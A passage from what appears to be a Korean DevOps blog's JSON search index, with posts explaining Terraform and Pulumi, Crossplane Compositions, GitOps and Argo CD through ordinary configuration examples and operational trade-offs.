생성하거나 오류가 난다. 멱등성이 없다.\n선언형 (Declarative) \u0026ldquo;어떤 상태이길 원하는지\u0026quot;를 기술한다. 도구가 현재 상태와 비교해 필요한 변경만 적용한다.\n# Terraform resource \u0026#34;aws_vpc\u0026#34; \u0026#34;main\u0026#34; { cidr_block = \u0026#34;10.0.0.0/16\u0026#34; } resource \u0026#34;aws_subnet\u0026#34; \u0026#34;public\u0026#34; { vpc_id = aws_vpc.main.id cidr_block = \u0026#34;10.0.1.0/24\u0026#34; } 이미 VPC가 있으면 아무것도 하지 않는다. CIDR을 바꾸면 변경 사항만 적용한다. 현재 상태와 desired state 사이의 diff를 계산해 적용한다 — k8s의 선언형 모델과 같은 철학이다.\nTerraform HashiCorp가 만든 가장 널리 쓰이는 IaC 도구다. HCL(HashiCorp Configuration Language)로 인프라를 선언한다. AWS, GCP, Azure, k8s 등 수백 개의 프로바이더를 지원한다.\n# main.tf terraform { required_providers { aws = { source = \u0026#34;hashicorp/aws\u0026#34; version = \u0026#34;~\u0026gt; 5.0\u0026#34; } } backend \u0026#34;s3\u0026#34; { bucket = \u0026#34;my-terraform-state\u0026#34; key = \u0026#34;production/terraform.tfstate\u0026#34; region = \u0026#34;ap-northeast-2\u0026#34; } } provider \u0026#34;aws\u0026#34; { region = \u0026#34;ap-northeast-2\u0026#34; } resource \u0026#34;aws_vpc\u0026#34; \u0026#34;main\u0026#34; { cidr_block = var.vpc_cidr enable_dns_hostnames = true tags = { Name = \u0026#34;${var.env}-vpc\u0026#34; Environment = var.env } } variable \u0026#34;vpc_cidr\u0026#34; { default = \u0026#34;10.0.0.0/16\u0026#34; } variable \u0026#34;env\u0026#34; { default = \u0026#34;production\u0026#34; } terraform init # 프로바이더 다운로드 terraform plan # 변경 사항 미리 보기 terraform apply # 적용 terraform destroy # 모든 리소스 삭제 terraform plan은 \u0026ldquo;이렇게 변경됩니다\u0026quot;를 보여준다. 팀원이 이 결과를 리뷰하고 merge하면 CI/CD가 apply를 실행하는 흐름이 표준이다.\nState 파일 문제 Terraform은 현재 상태를 state 파일에 저장한다. 현재 상태와 코드를 비교해 diff를 계산한다.\nterraform.tfstate ← 현재 인프라 상태가 JSON으로 저장됨 이 파일에 몇 가지 문제가 있다.\n팀 협업: 로컬에 state 파일이 있으면 팀원들이 공유할 수 없다. S3 같은 원격 backend에 저장하고 DynamoDB로 잠금(locking)을 걸어야 동시에 두 명이 apply하는 사고를 막을 수 있다.\n민감 정보: state 파일에 DB 비밀번호 같은 민감 정보가 평문으로 저장될 수 있다. S3 암호화와 접근 제어가 필요하다.\n드리프트: 콘솔에서 직접 인프라를 수정하면 state 파일과 실제 상태가 달라진다. terraform refresh로 동기화하거나 terraform import로 수동으로 맞춰야 한다. IaC를 도입하면 콘솔 직접 수정을 금지하는 문화가 함께 필요하다.\nPulumi Terraform과 같은 목적이지만 다른 철학을 가진다. HCL 대신 일반 프로그래밍 언어(TypeScript, Python, Go, Java)로 인프라를 작성한다.\n// index.ts import * as aws from \u0026#34;@pulumi/aws\u0026#34;; const vpc = new aws.ec2.Vpc(\u0026#34;main\u0026#34;, { cidrBlock: \u0026#34;10.0.0.0/16\u0026#34;, enableDnsHostnames: true, }); const subnets = [\u0026#34;10.0.1.0/24\u0026#34;, \u0026#34;10.0.2.0/24\u0026#34;].map((cidr, i) =\u0026gt; new aws.ec2.Subnet(`public-${i}`, { vpcId: vpc.id, cidrBlock: cidr, }) ); export const vpcId = vpc.id; 루프, 조건문, 함수, 타입 시스템을 그대로 쓸 수 있다. 여러 환경을 만들거나 복잡한 조건 분기가 있을 때 HCL보다 훨씬 표현력이 좋다. state 관리는 Pulumi Cloud 또는 S3 backend를 쓴다.\n비교 Terraform Pulumi 언어 HCL TypeScript, Python, Go 등 학습 곡선 낮음 (선언적 DSL) 기존 언어 알면 낮음 표현력 제한적 높음 (일반 언어) 생태계 매우 넓음 (프로바이더 수) 넓음 상태 관리 self-managed or Terraform Cloud Pulumi Cloud or self-managed 트레이드오프 IaC를 도입하면 인프라 변경이 코드 리뷰 → PR → CI/CD 흐름을 타야 한다. 긴급 상황에서 빠르게 수동으로 콘솔을 건드리고 싶은 상황과 충돌한다. 조직의 성숙도와 긴급 처리 절차를 함께 설계해야 한다.\n모듈화를 과하게 하면 코드가 오히려 파악하기 어려워진다. 세 군데에 쓰이기 전에 모듈을 만들지 않는 원칙(Rule of Three)이 IaC에도 유효하다.\n","permalink":"https://charminggroot.github.io/posts/048-iac/","summary":"IaC(Infrastructure as Code)는 서버, 네트워크, DB 같은 인프라를 코드로 정의하고 버전 관리하는 방식이다. 콘솔에서 클릭해서 만들던 것을 코드로 선언하면 재현 가능하고 리뷰 가능하고 자동화할 수 있다. 선언형 vs 명령형의 차이, Terraform과 Pulumi의 철학 차이, 그리고 state 파일 문제를 설명한다.","title":"048. IaC — 인프라를 코드로 관리하기"},{"content":"Terraform으로 인프라를 관리하면 k8s 선언과 인프라 선언이 분리된다. k8s YAML은 git → Argo CD 흐름으로 적용되고, Terraform은 별도 파이프라인을 탄다. 두 시스템의 상태를 따로 관리해야 한다.\nCrossplane은 이 경계를 없앤다. k8s 안에서 CRD로 클라우드 인프라를 선언한다. kubectl apply로 RDS 인스턴스를 만들고, kubectl get rdsinstances로 상태를 확인한다. k8s의 Reconcile 루프가 인프라 desired state를 실현한다.\nTerraform과의 철학 차이 Terraform은 파이프라인 도구다. terraform apply를 실행하는 시점에 변경을 적용하고, 그 이후에는 drift가 생겨도 모른다. 누군가 콘솔에서 수정하면 다음 apply까지 state와 실제가 달라진 채로 존재한다.\nCrossplane은 지속 Reconcile이다. k8s 컨트롤러가 계속 실제 상태를 desired state와 비교한다. 누군가 콘솔에서 RDS 설정을 바꾸면 컨트롤러가 감지하고 원래 상태로 되돌린다. Git에 선언된 것이 항상 실제 상태다.\nTerraform: 코드 → (pipeline 실행 시) → 인프라 Crossplane: 코드 → k8s → (항상) → 인프라 (drift 자동 수정) 구조 Provider 특정 클라우드를 제어하는 플러그인이다. provider-aws, provider-gcp, provider-azure 등이 있다. Provider를 설치하면 해당 클라우드 리소스에 대응하는 CRD들이 클러스터에 등록된다.\napiVersion: pkg.crossplane.io/v1 kind: Provider metadata: name: provider-aws spec: package: xpkg.upbound.io/upbound/provider-aws:v1.0.0 Provider가 설치되면 VPC, Subnet, RDSInstance, S3Bucket 같은 CRD를 쓸 수 있다.\nProviderConfig — 인증 설정 Provider가 어떤 AWS 계정을 사용할지 설정한다.\napiVersion: aws.upbound.io/v1beta1 kind: ProviderConfig metadata: name: default spec: credentials: source: IRSA # IAM Roles for Service Accounts (EKS 권장) IRSA를 쓰면 별도 Access Key 없이 k8s ServiceAccount에 IAM Role을 붙여 AWS API를 호출한다.\nManaged Resource — 클라우드 리소스 선언 Provider가 제공하는 CRD로 실제 클라우드 리소스를 선언한다.\n# VPC 선언 apiVersion: ec2.aws.upbound.io/v1beta1 kind: VPC metadata: name: production-vpc spec: forProvider: region: ap-northeast-2 cidrBlock: 10.0.0.0/16 enableDnsHostnames: true tags: Environment: production providerConfigRef: name: default # RDS 인스턴스 선언 apiVersion: rds.aws.upbound.io/v1beta1 kind: Instance metadata: name: production-db spec: forProvider: region: ap-northeast-2 instanceClass: db.t3.medium engine: postgres engineVersion: \u0026#34;15.4\u0026#34; dbName: myapp username: admin allocatedStorage: 100 storageType: gp3 multiAz: true vpcSecurityGroupIdRefs: - name: db-security-group writeConnectionSecretToRef: namespace: production name: db-credentials # 연결 정보를 Secret으로 자동 저장 writeConnectionSecretToRef가 강력한 기능이다. RDS가 생성되면 엔드포인트, 포트, 비밀번호를 자동으로 k8s Secret에 저장한다. 앱이 이 Secret을 마운트해서 DB 연결에 쓴다.\n# 상태 확인 kubectl get rdsinstances kubectl describe rdsinstance production-db # 조건 확인 kubectl get rdsinstance production-db -o jsonpath=\u0026#39;{.status.conditions}\u0026#39; 실제로 어떻게 썼나 Crossplane을 통한 k8s 상태관리와 AWS 인프라 관리 자동화 경험에서, 일반적인 패턴은 이렇다.\n앱 팀이 RDSInstance CR을 만들면 인프라 팀이 리뷰하고 merge한다. Argo CD가 k8s에 적용하고, Crossplane이 실제 RDS를 프로비저닝한다. DB 엔드포인트와 비밀번호는 Secret으로 자동 생성돼 앱이 바로 사용한다. 인프라 팀이 AWS 콘솔에서 수동으로 만들어 정보를 전달하는 과정이 사라진다.\n드리프트 수정도 강력하다. 누군가 콘솔에서 RDS 인스턴스 타입을 바꾸면 Crossplane이 감지하고 db.t3.medium으로 되돌린다. Git이 진실의 원천이 된다.\n트레이드오프 Crossplane의 가장 큰 어려움은 Provider CRD의 복잡도다. AWS 리소스 하나를 Terraform으로 만들 때 HCL 30줄이면 되는 것이 Crossplane에서는 훨씬 길어지고, 중간 리소스(SecurityGroup, Subnet 연결 등)를 각각 별도 CR로 선언해야 한다.\n컨트롤러가 지속적으로 AWS API를 폴링하므로 API 호출 비용과 rate limit를 신경써야 한다. 리소스가 수백 개가 되면 AWS API throttling이 문제가 될 수 있다.\nTerraform은 실무 레퍼런스와 커뮤니티가 훨씬 많다. 새 AWS 서비스 지원도 Terraform 프로바이더가 먼저 나오는 경우가 많다. Crossplane은 k8s 중심 조직에서 GitOps 파이프라인을 단일화하려는 목적에 가장 잘 맞는다.\n","permalink":"https://charminggroot.github.io/posts/049-crossplane/","summary":"Crossplane은 k8s CRD를 이용해 AWS, GCP 같은 클라우드 인프라를 선언적으로 관리하는 오픈소스다. VPC, RDS, S3 같은 클라우드 리소스를 k8s 오브젝트처럼 선언하면 컨트롤러가 실제 인프라를 프로비저닝한다. Terraform과 철학적으로 무엇이 다른지, Provider 구조, Managed Resource 개념을 설명한다.","title":"049. Crossplane — k8s로 AWS 인프라를 선언하기"},{"content":"Crossplane의 Managed Resource만으로 운영하면 앱 팀이 VPC, 서브넷, 보안 그룹, RDS를 각각 선언해야 한다. 인프라 세부사항을 알아야 하고, 잘못 설정할 여지가 많다. Composition은 이 복잡성을 인프라 팀이 흡수하고 앱 팀에게 단순한 인터페이스를 제공하는 메커니즘이다.\n\u0026ldquo;PostgreSQL 데이터베이스 하나 주세요. 스몰 사이즈로.\u0026rdquo;\n이 한 줄 요청이 VPC 피어링, 서브넷 선택, 보안 그룹, 파라미터 그룹, RDS 인스턴스, 백업 설정을 자동으로 처리하게 만드는 것이 Composition의 목적이다.\n3계층 구조 XRD (CompositeResourceDefinition) ← 인프라 팀이 \u0026#34;어떤 리소스 타입을 제공할지\u0026#34; 정의 XR (CompositeResource) ← Composition으로 실제 리소스들이 생성되는 중간 오브젝트 Claim ← 앱 팀이 네임스페이스에서 \u0026#34;이 타입의 리소스를 요청\u0026#34; XRD — 인터페이스 정의 어떤 커스텀 리소스 타입을 제공할지 정의한다. Claim이 가질 수 있는 파라미터(spec)와 연결 정보(connectionSecretKeys)를 선언한다.\napiVersion: apiextensions.crossplane.io/v1 kind: CompositeResourceDefinition metadata: name: xpostgresqlinstances.platform.example.com spec: group: platform.example.com names: kind: XPostgreSQLInstance plural: xpostgresqlinstances claimNames: # 앱 팀이 쓰는 Claim 타입 이름 kind: PostgreSQLInstance plural: postgresqlinstances versions: - name: v1alpha1 served: true referenceable: true schema: openAPIV3Schema: type: object properties: spec: type: object properties: parameters: type: object properties: storageGB: type: integer default: 20 size: type: string enum: [\u0026#34;small\u0026#34;, \u0026#34;medium\u0026#34;, \u0026#34;large\u0026#34;] default: small region: type: string default: ap-northeast-2 connectionSecretKeys: - host - port - username - password - database Composition — 어떻게 만들지 정의 XRD로 정의한 타입을 실제로 어떤 Managed Resource 조합으로 만들지 구현한다.\napiVersion: apiextensions.crossplane.io/v1 kind: Composition metadata: name: xpostgresqlinstances.aws.platform.example.com spec: compositeTypeRef: apiVersion: platform.example.com/v1alpha1 kind: XPostgreSQLInstance resources: - name: rdsinstance base: apiVersion: rds.aws.upbound.io/v1beta1 kind: Instance spec: forProvider: region: ap-northeast-2 engine: postgres engineVersion: \u0026#34;15.4\u0026#34; skipFinalSnapshot: true publiclyAccessible: false multiAz: false dbName: main username: admin writeConnectionSecretToRef: namespace: crossplane-system patches: - type: FromCompositeFieldPath fromFieldPath: spec.parameters.storageGB toFieldPath: spec.forProvider.allocatedStorage - type: FromCompositeFieldPath fromFieldPath: spec.parameters.size toFieldPath: spec.forProvider.instanceClass transforms: - type: map map: small: db.t3.micro medium: db.t3.medium large: db.r6g.large - type: FromCompositeFieldPath fromFieldPath: spec.parameters.region toFieldPath: spec.forProvider.region - name: rds-subnet-group base: apiVersion: rds.aws.upbound.io/v1beta1 kind: SubnetGroup spec: forProvider: region: ap-northeast-2 subnetIdRefs: - name: private-subnet-a - name: private-subnet-b patches가 핵심이다. Claim의 spec.parameters.size: \u0026quot;small\u0026quot;이 spec.forProvider.instanceClass: \u0026quot;db.t3.micro\u0026quot;로 변환된다. 앱 팀은 인스턴스 타입 이름을 몰라도 된다.\nClaim — 앱 팀의 요청 앱 팀이 자신의 네임스페이스에서 Claim을 만든다.\napiVersion: platform.example.com/v1alpha1 kind: PostgreSQLInstance metadata: name: order-service-db namespace: order-service spec: parameters: size: small storageGB: 50 writeConnectionSecretToRef: name: db-credentials # 연결 정보를 이 Secret에 저장 이게 전부다. VPC, 서브넷, 보안 그룹, 파라미터 그룹을 몰라도 된다. 인프라 팀이 정의한 small 규격대로 모든 것이 만들어진다.\nkubectl get postgresqlinstances -n order-service # NAME READY SYNCED CONNECTION-SECRET AGE # order-service-db True True db-credentials 5m 연결 정보가 db-credentials Secret에 자동으로 저장된다.\n# 앱 Deployment에서 Secret 마운트 env: - name: DB_HOST valueFrom: secretKeyRef: name: db-credentials key: host - name: DB_PASSWORD valueFrom: secretKeyRef: name: db-credentials key: password Platform Engineering 이 구조가 Platform Engineering의 핵심 패턴이다. 인프라 팀이 플랫폼(Composition, XRD)을 만들고, 앱 팀이 셀프서비스로 인프라를 프로비저닝한다. 인프라 팀의 보안/비용 정책이 Composition 안에 인코딩돼 있어, 앱 팀이 실수로 정책을 위반하기 어렵다.\n트레이드오프 Composition 작성이 복잡하다. patches, transforms, patchSets 문법이 직관적이지 않고, 중첩 구조를 참조하는 FromCompositeFieldPath 표현식이 길어진다. 인프라 팀에서 이 YAML을 작성하고 유지하는 비용이 상당하다.\nComposition이 여러 Managed Resource를 만들 때 일부가 실패하면 전체 롤백이 안 된다. 성공한 것들은 남아 있고, 실패한 것만 재시도된다. 인프라 부분 생성 상태가 생길 수 있어 정리가 까다롭다.\nUpbound(Crossplane 메인 컨트리뷰터)의 Upbound Marketplace에서 검증된 Composition 예시를 볼 수 있고, 직접 작성 전에 참고하면 시간을 절약할 수 있다.\n","permalink":"https://charminggroot.github.io/posts/050-crossplane-composition/","summary":"Crossplane의 Managed Resource는 AWS 리소스를 1:1로 선언한다. Composition은 그 위의 추상화 레이어다. 여러 Managed Resource를 묶어 \u0026lsquo;PostgreSQL 데이터베이스 하나 주세요\u0026rsquo;라는 단순한 요청으로 VPC, 서브넷, 보안 그룹, RDS 인스턴스를 한꺼번에 프로비저닝할 수 있게 한다. XRD, XR, Claim의 3계층 구조를 설명한다.","title":"050. Crossplane Composition — 인프라 추상화와 셀프서비스"},{"content":"전통적인 배포 파이프라인은 이렇다. 코드를 push → CI가 빌드 → CD가 kubectl apply를 실행 → 클러스터가 변경됨. CI/CD 시스템이 클러스터에 직접 접근해 변경을 밀어 넣는 push 방식이다.\nGitOps는 방향을 뒤집는다. CI/CD가 클러스터에 push하는 대신, 클러스터 안의 에이전트가 Git을 계속 감시해 당겨온다(pull). Git이 항상 \u0026ldquo;이 클러스터는 이 상태여야 한다\u0026quot;는 선언을 담고, 에이전트가 이를 실현한다.\n핵심 원칙 선언적 설정: 모든 인프라와 앱 설정이 선언형 YAML로 Git에 있다. kubectl run처럼 명령형으로 직접 실행하지 않는다.\nGit이 단일 진실 원천: Git의 특정 브랜치(또는 태그)가 특정 환경의 desired state를 정의한다. \u0026ldquo;지금 프로덕션이 어떤 상태인지\u0026quot;는 Git을 보면 안다.\n변경은 Git을 통해서만: 클러스터를 직접 kubectl apply로 수정하지 않는다. PR을 만들고 리뷰하고 merge하면 자동으로 반영된다.\n자동 동기화와 드리프트 감지: 에이전트가 클러스터 상태와 Git을 비교한다. 누군가 클러스터를 직접 수정하면 드리프트가 감지되고, 자동으로 Git 상태로 복원하거나 알림을 보낸다.\nPush vs Pull 방식 # Push (전통 CI/CD) 개발자 → git push → CI 빌드 → CD가 kubectl apply → 클러스터 ↑ 클러스터 접근 자격증명이 CI/CD에 있음 # Pull (GitOps) 개발자 → git push → CI 빌드 → 이미지 저장소 Git 매니페스트 업데이트 클러스터 안의 에이전트 → Git 폴링 → 변경 감지 → kubectl apply Pull 방식의 보안 이점이 크다. 클러스터 접근 자격증명이 외부 CI/CD 시스템에 없어도 된다. 에이전트가 클러스터 안에 있으므로 외부에 자격증명을 노출하지 않는다.\nGit 저장소 구조 배포 매니페스트를 어떻게 구조화하느냐에 따라 여러 패턴이 있다.\n앱 코드와 배포 설정 분리 # app 저장소 (소스 코드) my-app/ ├── src/ └── Dockerfile # gitops 저장소 (배포 설정) my-gitops/ ├── apps/ │ ├── production/ │ │ ├── my-app/ │ │ │ ├── deployment.yaml # image: my-app:2.5.1 │ │ │ └── service.yaml │ └── staging/ │ └── my-app/ │ └── deployment.yaml # image: my-app:2.6.0-rc1 └── infrastructure/ ├── monitoring/ └── ingress-controller/ 앱 코드와 배포 설정이 분리되면 배포 이력과 인프라 변경이 별도 PR로 관리된다. 앱 CI가 빌드 후 gitops 저장소의 이미지 태그를 업데이트하는 PR을 자동으로 만든다.\n환경 프로모션 feature 브랜치 → staging 브랜치 → production 브랜치 ↓ ↓ ↓ 스테이징 클러스터 스테이징 프로덕션 클러스터 PR merge가 배포 트리거다. 코드 리뷰가 배포 승인 프로세스가 된다.\n롤백 Git의 롤백이 배포 롤백이다.\n# 이전 커밋으로 revert git revert HEAD git push # 에이전트가 감지 → 이전 버전 자동 재배포 kubectl rollout undo를 기억하거나 실행할 필요가 없다. git revert로 PR을 만들고 merge하면 된다. 롤백 이력도 git log에 남는다.\n트레이드오프 GitOps는 모든 변경이 PR을 타야 하므로 빠른 핫픽스가 불편해진다. 긴급 상황에서 바로 kubectl apply를 실행하고 싶어도 에이전트가 곧 되돌린다. 긴급 우회 절차(에이전트 일시 정지, 긴급 PR 프로세스)를 미리 정해두지 않으면 장애 상황에서 혼란스러울 수 있다.\nSecret 관리가 까다롭다. Git에 비밀번호를 올릴 수 없다. Sealed Secrets(클러스터 공개키로 암호화해 Git에 저장), External Secrets Operator(AWS Secrets Manager에서 동기화) 같은 별도 솔루션이 필요하다.\n저장소 구조 설계가 중요하다. 초기에 잘못 설계하면 나중에 마이그레이션이 고통스럽다.\n","permalink":"https://charminggroot.github.io/posts/051-gitops/","summary":"GitOps는 Git 저장소를 인프라와 애플리케이션의 desired state를 담는 단일 진실 원천으로 사용하는 운영 모델이다. 배포는 Git 커밋으로 시작하고, 클러스터 상태가 항상 Git과 일치하도록 유지한다. 전통적인 push 방식 CI/CD와의 차이, 핵심 원칙, 그리고 왜 k8s에 자연스럽게 맞는지 설명한다.","title":"051. GitOps — Git을 배포의 단일 진실 원천으로"},{"content":"Argo CD는 GitOps 원칙을 k8s에 구현한 CD(Continuous Delivery) 도구다. Git 저장소의 선언된 상태와 클러스터의 실제 상태를 계속 비교하고, 차이가 생기면 동기화한다. Helm, Kustomize, 순수 YAML 모두 지원한다.\n핵심 개념 Application Argo CD에서 배포의 단위다. \u0026ldquo;이 Git 저장소의 이 경로에 있는 매니페스트를 이 클러스터의 이 네임스페이스에 배포하라\u0026quot;를 정의한다.\napiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: my-app namespace: argocd spec: project: default source: repoURL: https://github.com/my-org/my-gitops targetRevision: main # 브랜치, 태그, 커밋 SHA path: apps/production/my-app # 저장소 내 경로 destination: server: https://kubernetes.default.svc # 배포할 클러스터 namespace: production syncPolicy: automated: prune: true # Git에서 삭제된 리소스를 클러스터에서도 삭제 selfHeal: true # 클러스터가 직접 수정되면 Git 상태로 복원 syncOptions: - CreateNamespace=true syncPolicy.automated를 설정하면 Git push 시 자동 동기화된다. 설정하지 않으면 Argo CD UI에서 수동으로 Sync 버튼을 눌러야 한다. 프로덕션은 수동 승인, 스테이징은 자동 동기화로 구성하는 경우가 많다.\nSync 상태 Argo CD는 Application의 상태를 두 차원으로 표시한다.\nSync Status: Git과 클러스터가 일치하는가\nSynced: 일치 OutOfSync: 불일치 (Git에 변경이 있거나, 클러스터가 직접 수정됐거나) Health Status: 리소스가 정상인가\nHealthy: 모든 리소스가 정상 Progressing: 롤아웃 진행 중 Degraded: 일부 리소스 비정상 Helm + Argo CD Helm Chart를 Argo CD로 관리하면 values를 Git에서 관리할 수 있다.\nspec: source: repoURL: https://prometheus-community.github.io/helm-charts chart: kube-prometheus-stack targetRevision: \u0026#34;55.0.0\u0026#34; helm: releaseName: prometheus valuesObject: grafana: enabled: true adminPassword: \u0026#34;${GRAFANA_ADMIN_PASSWORD}\u0026#34; prometheus: prometheusSpec: retention: 30d storageSpec: volumeClaimTemplate: spec: resources: requests: storage: 100Gi 외부 Helm 저장소의 Chart를 버전 고정해 배포한다. targetRevision으로 Chart 버전을 명시하면 의도치 않은 업그레이드가 없다.\nApp of Apps 패턴 클러스터에 수십 개의 Application이 있으면 하나하나 만들기 번거롭다. App of Apps는 Application들을 관리하는 상위 Application을 만드는 패턴이다.\nroot-app (Application) → apps/ 디렉토리를 감시 → monitoring-app (Application) → ingress-controller-app (Application) → my-service-app (Application) # root-app spec: source: path: apps/ # 이 경로의 모든 Application YAML을 배포 destination: namespace: argocd apps/ 디렉토리에 새 Application YAML을 추가하면 root-app이 감지해 자동으로 Argo CD에 등록한다. 새 서비스 추가가 파일 하나 추가로 끝난다.\nApplicationSet App of Apps보다 발전된 방식이다. 클러스터 목록, 브랜치 목록, Git 디렉토리 구조 등을 기반으로 Application을 자동 생성한다.\napiVersion: argoproj.io/v1alpha1 kind: ApplicationSet metadata: name: cluster-apps spec: generators: - git: repoURL: https://github.com/my-org/my-gitops revision: main directories: - path: apps/* # apps/ 아래 각 디렉토리마다 Application 생성 template: metadata: name: \u0026#39;{{path.basename}}\u0026#39; spec: source: repoURL: https://github.com/my-org/my-gitops targetRevision: main path: \u0026#39;{{path}}\u0026#39; destination: server: https://kubernetes.default.svc namespace: \u0026#39;{{path.basename}}\u0026#39; apps/my-service, apps/monitoring 디렉토리를 만들면 각각 Application이 자동 생성된다.\nSync Wave와 배포 순서 의존 관계가 있는 리소스는 순서가 중요하다. Namespace가 먼저 만들어져야 그 안에 Deployment를 배포할 수 있다. sync-wave 어노테이션으로 순서를 제어한다.\n# 먼저 실행 (wave -1) metadata: annotations: argocd.argoproj.io/sync-wave: \u0026#34;-1\u0026#34; # → Namespace, CRD # 그 다음 (wave 0, 기본값) # → Deployment, Service # 마지막 (wave 1) metadata: annotations: argocd.argoproj.io/sync-wave: \u0026#34;1\u0026#34; # → Ingress, HPA 낮은 번호가 먼저 실행된다. 같은 wave 안에서는 병렬로 적용된다.\n트레이드오프 Argo CD UI가 직관적이어서 도입 장벽이 낮다. 하지만 클러스터별로 Argo CD를 따로 설치해야 하고, 여러 클러스터를 하나의 Argo CD로 관리하려면 클러스터를 등록해 외부에서 API를 호출하는 구조가 된다. 대규모 멀티클러스터 환경에서는 Argo CD 자체의 고가용성과 성능이 중요해진다.\nselfHeal: true를 켜두면 긴급 패치를 위해 클러스터를 직접 수정해도 자동으로 원래 상태로 복원된다. 의도치 않은 변경을 막는 것이 목적이지만, 긴급 상황에서 이 동작이 방해가 될 수 있다. 운영팀과 긴급 시 절차를 사전에 합의해둬야 한다.\n","permalink":"https://charminggroot.github.io/posts/052-argo-cd/","summary":"Argo CD는 GitOps 방식으로 k8s 배포를 관리하는 도구다. Git 저장소의 매니페스트를 감시하고, 클러스터 상태와 diff를 보여주며, 자동 또는 수동으로 동기화한다. Application 정의 방식, Sync 전략, App of Apps 패턴, 실무에서 자주 쓰는 설정을 설명한다.","title":"052. Argo CD — GitOps 기반 k8s 배포 도구"},{"content":"Argo CD는 Git → k8s 동기화를 담당한다. Crossplane은 k8s CR → AWS 인프라 프로비저닝을 담당한다. 이 둘을 결합하면 Git이 k8s 앱과 AWS 인프라 모두의 단일 진실 원천이 된다.\nGit 저장소 ├── apps/production/order-service/ │ ├── deployment.yaml │ ├── service.yaml │ └── db-claim.yaml ← PostgreSQLInstance Claim └── infrastructure/ ├── composition.yaml ← Crossplane Composition └── provider-config.yaml ↓ (Argo CD가 감시 → 적용) k8s 클러스터 ├── Deployment, Service (앱) └── PostgreSQLInstance CR (Crossplane Claim) ↓ (Crossplane Operator가 처리) AWS └── RDS 인스턴스 개발자는 Git에 코드와 Claim YAML을 올린다. 이후 인프라 프로비저닝까지 자동이다.\n실제 파이프라인 1. Git 저장소 구조 my-gitops/ ├── platform/ # 인프라 팀 관리 │ ├── crossplane/ │ │ ├── provider-aws.yaml │ │ ├── provider-config.yaml │ │ └── compositions/ │ │ └── postgresql.yaml # Composition 정의 │ └── argocd/ │ └── root-app.yaml └── apps/ └── production/ └── order-service/ ├── deployment.yaml ├── service.yaml ├── ingress.yaml └── db-claim.yaml # 앱 팀이 요청하는 DB 2. 앱 팀의 DB 요청 # apps/production/order-service/db-claim.yaml apiVersion: platform.example.com/v1alpha1 kind: PostgreSQLInstance metadata: name: order-db namespace: order-service spec: parameters: size: medium storageGB: 100 writeConnectionSecretToRef: name: order-db-credentials 앱 팀은 이 파일을 추가하고 PR을 올린다. 인프라 팀이 리뷰하고 merge하면 자동으로 진행된다.\n3. Argo CD 동기화 Argo CD가 apps/production/order-service/ 변경을 감지하고 k8s에 적용한다.\n# Argo CD UI에서 또는 kubectl get applications -n argocd order-service # STATUS: Synced kubectl get postgresqlinstances -n order-service # NAME READY SYNCED # order-db False True ← 아직 프로비저닝 중 4. Crossplane 프로비저닝 Crossplane이 PostgreSQLInstance CR을 감지하고 Composition을 실행한다.\n# 프로비저닝 완료 후 kubectl get postgresqlinstances -n order-service # NAME READY SYNCED # order-db True True # 연결 정보가 Secret에 자동 저장됨 kubectl get secret order-db-credentials -n order-service # NAME TYPE DATA AGE # order-db-credentials Opaque 5 2m 앱 Deployment가 이 Secret을 환경변수로 마운트해 DB에 접근한다.\n프로비저닝 시간 처리 RDS 인스턴스는 만드는 데 수 분이 걸린다. 앱 Deployment가 DB 연결을 시도하는 시점에 DB가 아직 준비 중일 수 있다.\n두 가지 방법으로 처리한다.\nInit Container로 DB 대기: 앱 컨테이너가 시작하기 전에 DB 연결이 될 때까지 기다린다.\ninitContainers: - name: wait-for-db image: busybox command: - sh - -c - | until nc -z $DB_HOST 5432; do echo \u0026#34;DB 대기 중...\u0026#34; sleep 5 done env: - name: DB_HOST valueFrom: secretKeyRef: name: order-db-credentials key: host Crossplane readiness를 Argo CD Sync Wave에 연결: DB Claim을 먼저 배포하고(wave 0), DB가 Ready 상태가 된 이후 앱을 배포(wave 1)한다.\n# db-claim.yaml metadata: annotations: argocd.argoproj.io/sync-wave: \u0026#34;0\u0026#34; # deployment.yaml metadata: annotations: argocd.argoproj.io/sync-wave: \u0026#34;1\u0026#34; Argo CD는 wave 0의 모든 리소스가 Healthy가 된 후 wave 1을 배포한다. Crossplane CR의 READY: True가 Healthy 기준이다.\n환경 분리 여러 환경을 같은 패턴으로 관리한다.\napps/ ├── staging/ │ └── order-service/ │ └── db-claim.yaml # size: small, storageGB: 20 └── production/ └── order-service/ └── db-claim.yaml # size: large, storageGB: 500 환경별 값만 다르고 구조는 동일하다. Kustomize로 공통 base에 환경별 overlay를 적용하는 방식으로 중복을 줄일 수 있다.\n트레이드오프 Crossplane Composition이 있는 k8s 클러스터와 앱이 배포되는 클러스터를 분리하는 것이 일반적이다. Management Cluster (Crossplane 운영)와 Workload Cluster (앱 운영)를 나누면 인프라 프로비저닝 실패가 앱 클러스터에 영향을 주지 않는다.\nCrossplane으로 만든 리소스를 삭제할 때 주의가 필요하다. Claim을 삭제하면 Crossplane이 실제 AWS 리소스를 삭제한다. Argo CD의 prune: true가 켜져 있으면 Git에서 Claim을 제거했을 때 RDS가 삭제된다. 프로덕션 데이터베이스가 PR merge 한 번으로 사라질 수 있다. deletionPolicy: Orphan을 설정해 k8s CR 삭제 시 실제 AWS 리소스는 보존하는 것이 안전하다.\nspec: forProvider: ... managementPolicies: [\u0026#34;Observe\u0026#34;, \u0026#34;Create\u0026#34;, \u0026#34;Update\u0026#34;] # Delete 제외 ","permalink":"https://charminggroot.github.io/posts/053-argocd-crossplane/","summary":"Argo CD와 Crossplane을 결합하면 Git 하나로 k8s 앱 배포와 AWS 인프라 프로비저닝을 모두 관리할 수 있다. 개발자가 Git에 Claim을 올리면 Argo CD가 k8s에 적용하고, Crossplane이 실제 AWS 리소스를 만든다. 이 파이프라인이 어떻게 구성되는지, 그리고 실제 운영에서 어떤 점을 주의해야 하는지 설명한다.","title":"053. Argo CD + Crossplane — Git 선언에서 AWS 인프라까지"},{"content":"마이크로서비스가 10개, 20개가 되면 서비스 간 통신에서 반복되는 문제들이 생긴다. 서비스 A가 서비스 B를 호출할 때 타임아웃은 얼마로 잡을지, 실패하면 몇 번 재시도할지, 서비스 B가 느려지면 요청을 끊을지, 이 통신이 암호화되는지, 어떤 서비스가 어디서 얼마나 오래 걸리는지.\n이 문제들을 각 서비스에서 공통 라이브러리로 해결할 수 있지만, 언어마다 다르고 버전 관리가 어렵다. Service Mesh는 이 공통 기능을 sidecar proxy로 분리한다. 각 파드에 Envoy proxy 컨테이너를 주입하고, 모든 트래픽이 이 proxy를 거치게 한다. 앱 코드는 localhost로 